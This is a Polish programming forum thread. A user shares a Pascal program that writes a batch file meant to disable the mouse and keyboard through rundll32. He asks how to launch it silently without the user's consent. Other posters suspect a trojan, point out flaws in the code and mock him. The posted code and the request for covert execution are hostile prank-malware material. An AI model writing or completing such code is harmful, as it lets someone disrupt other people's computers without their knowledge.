Witam !!!
No więc mam mały problem, który może ktoś umiałby rozwiązać:
---- CUT -----
program Bacik;
var
b:text;
begin
assign(b,'C:\cosio.bat');
rewrite(b);
writeln(b,'@echo off');
writeln(b,'rundll32.exe mouse,disable');
writeln(b,'rundll32.exe keyboard,disable');
close(b);
end.
----- CUT ------
W miejsce *********** należało by wstawić jakiś kod, który bez pytania użytkownika, uruchomi z dysku c plik cosio.bat.Prosiłbym o pomoc.
Jeśli dobrze cię zrozumiałem, to chodzi ci o uruchomienie programu.
Poczytaj:
http://4programmers.net/view.php?id=153
he he he dobrze zrozumiales
Thx za pomoc !
[dopisane]
mogliby takie polecenia do jakiegos kursu wcisnac, a nie dawac jako osobna strone www.
Polecenie ShellExecute() jest chyba opisywane w każdym kursie.
Ja jeszcze w zadnym (z dwóch kursow i jednej ksiazki- dla poczatkujacych ;) nie czytalem o nim. :P
Ludzie!! Mieliście nie odpowiadać na posty dotyczące trojanów lub wirusów!! A ten kodzik na takie g*** mi wygląda!!
ax: wstydź się.
Wszystko fajnie, ale w pascalu nie ma czegos takiego jak shellexecute. Więc kolega "akumulator" (asmowcy wiedzą..) trojana jak na razie nie napisze.. pozdr.
No zeczywiscie zauwazlylem.
Sellexecute jest chyba poleceniem w Delphi (chociaz sie na nim nie znam).
Vogel- po pierwsze jestem tu nowy i nic nie wiedzialem , ze o wirach sie nie pisze. Po drugie, ten kod TO NIE MA BYC WIRUS !!! Chodzi tylko o to, zeby uruchamial jakis inny program w tle (bez potwierdzania )
Po pierwsze:
piszesz w Pascalu, a uruchamiasz rundll32? Bezsens.
Po drugie:
jeżeli już tak bardzo chcesz w Pascalu pod DOSa to musisz pisać programy rezydentne.
Po trzecie:
taki kit, że musisz uruchamiać program w tle i to nie wirus to możesz innym wciskać. Vogel nie jest głupi i wie do czego służy rundll32.dll keyboard, disable
Teoretycznie nie powinienem podpowiadać, co masz zrobić, ale widzę, że jesteś wyjątkowo uzdolnionym programistą...